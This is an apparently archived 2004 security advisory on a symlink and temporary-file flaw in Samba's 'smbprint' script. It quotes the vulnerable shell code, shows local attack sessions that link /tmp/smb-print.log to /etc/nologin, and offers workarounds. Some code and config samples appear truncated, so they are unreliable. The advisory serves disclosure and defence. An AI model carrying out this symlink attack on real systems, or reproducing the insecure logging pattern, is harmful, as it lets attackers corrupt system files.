Type packetstorm
Reporter Shaun Colley aka shaun2k2
Modified 2004-03-19T00:00:00


Product: Samba 'smbprint' script.  
Versions: All versions, but manifesting in   
different ways.  
Bug: Symlink bug / tmpfile bug.  
Impact: Attacker's can write to arbitrary files,  
and in theory, elevate privileges   
Risk: LOW  
Date: March 19, 2004  
Author: Shaun Colley  
Included with the immensely popular Samba Package,  
there is a small script called 'smbprint', which is  
quite widely used (from what discussions I read on the  
mailing list) to print documents over shares. There  
are many versions of the script floating about - older  
versions of the script are more vulnerable than the  
smbprint script included with the latest release of  
Samba (3.0.2a).  
I have located a bug in older versions of the smbprint  
script, and also a less likely one in the new version  
(packaged with 3.0.2a and maybe earlier). These  
vulnerabilities can allow an attacker to overwrite  
sensitive system files, and in theory (though very  
unlikely) elevate privilges. These bugs are due to  
insecure tmpfile creation.  
***NOTE: Although I refer to the less new smbprint  
script as "older script", it is included in Mandrake  
9.0, so it's not entirely "old" by any means. By "new  
script", I mean the one posted by Alfred Perlstein,  
which is packaged in the latest Samba packages.***  
1) Older versions of smbprint - tmpfile vulnerability.  
In older versions of smbprint (there are many versions  
floating around), tmpfiles, used for debugging, are  
created in an insecure manner. For the purpose of  
debugging, useful debugging information (output from  
commands, server used, etc) is written to a hard-coded  
logfile, /tmp/smb-print.log. The bug manifests in the  
following code:  
--- /usr/bin/smbprint ---  
# VULNERABLE CODE! No file checks  
# on /tmp/smb-print.log for possible  
# malicious symlink.  
echo "server $server, service $service" >> $logfile  
# Another insecure file write.  
/usr/bin/smbclient "//$server/$service" $password -U  
$server -N -P >> $logfile  
--- EOF  
No file checks are performed before writing to  
/tmp/smb-print.log, so symlinks *are* followed. If  
root is running the smbprint script, arbitrary files  
may be corrupted/appended, such as system files, i.e  
/etc/nologin. It is often the root user who invokes  
the script, so an attacker can potentially corrupt any  
file she wishes.  
2) Newest version of smbprint - tmpfile vulnerability  
In the newer versions of smbprint (which I believe was  
put together in part by Alfred Perlstein), a similar  
tmpfile vulnerability exists, however, it is  
exploitable in fewer cases.  
smbprint uses a printer config file,  
/usr/var/spool/lpd/<PRINTNAME>/.config, to correctly  
carry out a print job. If, however, a user has  
specified to use debugging (in the .config file), a  
tmpfile (again, due to creation of a debugging log)  
vulnerability exists. Here is a sample config file on  
a system which is vulnerable:  
--- .config ---  
--- EOF ---  
As can be seen, debugging is enabled to setting the  
debug option.  
In the smbprint script, the vulnerability manifests in  
the following offending code:  
if [ "x$debug" = "x" ] ; then  
debugfile=/dev/null debugargs=  
if [ $debug -eq 0 ] ; then  
debugfile=/dev/null debugargs=  
# VULNERABLE CODE! No file checks  
# on /tmp/smb-print.log for possible  
# malicious symlink.  
set -x; exec >>$debugfile 2>&1  
#[ "x$debugsmb" == "x" ] ||  
debugargs="$debugargs -d $debugsmb"  
The above code parses the host system's .config file  
for the "debug" option. If it is enabled, any program  
output is redirected to '/tmp/smb-print.log', via the  
BASH 'exec' command. However, no file checks are  
performed, so again, symlinks *are* followed. If an  
attacker were to create a symlink called smb-print.log  
in /tmp to a sensitive system file, assuming the debug  
option was set in the .config file, the system file  
would be written to if a superuser invoked smbprint.  
1) Older versions of smbprint - tmpfile vulnerability.  
Below is a sample attack scenario I carried out on my  
test system.  
--- attack ---  
k1d$ ls -al /etc/nologin  
ls: /etc/nologin: No such file or directory  
k1d$ ln -s /etc/nologin /tmp/smb-print.log  
root# /usr/bin/smbprint [...]  
k1d$ ls -al /etc/nologin  
-rw-r--r-- 1 root root 0 Mar 19  
18:11 /etc/nologin  
Exploitation, as evident above, is relatively simple.   
Since no checks on /tmp/smb-print.log are performed  
for existance of a possible symlink, all that an  
attacker needs to do is create a symlink named  
/tmp/smb-print.log to a desired arbitrary file  
writable by the invoker of smbprint, and simply wait  
for smbprint to be invoked.  
2) Newest version of smbprint - tmpfile vulnerability  
Assuming the conditions are met specified in the  
technical details section (i.e debugging is specified  
in the .config file, etc), exploitation of the  
insecure tmpfile creation is possible. Below is an  
example attack scenario, in which an attacker was able  
to cause a sensitive system file to be created.  
--- attack ---  
k1d$ cat /usr/var/spool/lpd/default/.config  
# machine seems to be vulnerable.  
k1d$ ln -s /etc/nologin /tmp/smb-print.tmp  
root# /usr/bin/smbprint [...]  
k1d$ ls -al /etc/nologin  
-rw-r--r-- 1 root root 0 Mar 19  
18:11 /etc/nologin  
As a tmpfile is only written when debugging is enabled  
(the logfile is written with useful debug  
information), the attacker in the above attack  
condition checked for the existance of the "debug="  
line in the 'smbprint' configuration file (.config).   
The attack suceeded, due to the ease of exploitation.  
I've tried to provide workarounds. Maybe bug 2) will  
be fixed in the next stable release of Samba.  
1) Older versions of smbprint - tmpfile vulnerability.  
The tmpfile vulnerability can be prevented by  
performing a check for the existance of /tmp/smb-print  
before any file writes are done.  
The following line can be added before any writes to  
if [ -h $logfile ] then # could be -e instead.  
This will check for a /tmp/smb-print.log being already  
a symbolic link. More care could be taken, such as  
checking just for any existance of /tmp/smb-print.log.  
The logfile will be /dev/null, if /tmp/smb-print.log  
is a symbolic link, thus preventing the issue.  
A better solution would be to upgrade to the latest  
version of Samba.  
2) Newest version of smbprint - tmpfile vulnerability  
Simple workaround is just to disable debugging in the  
smbprint config file. Remove any line beginning with  
"debug=" in your system's  
/usr/var/spool/lpd/<PRINTER_NAME>/.config file. This  
should eliminate the symlink/tmpfile vulnerability.  
Vulnerabilities discovered and researched by Shaun  
Colley / shaun2k2 - <>.  
Thank you for your time.  
Yahoo! Messenger - Communicate instantly..."Ping"   
your friends today! Download Messenger Now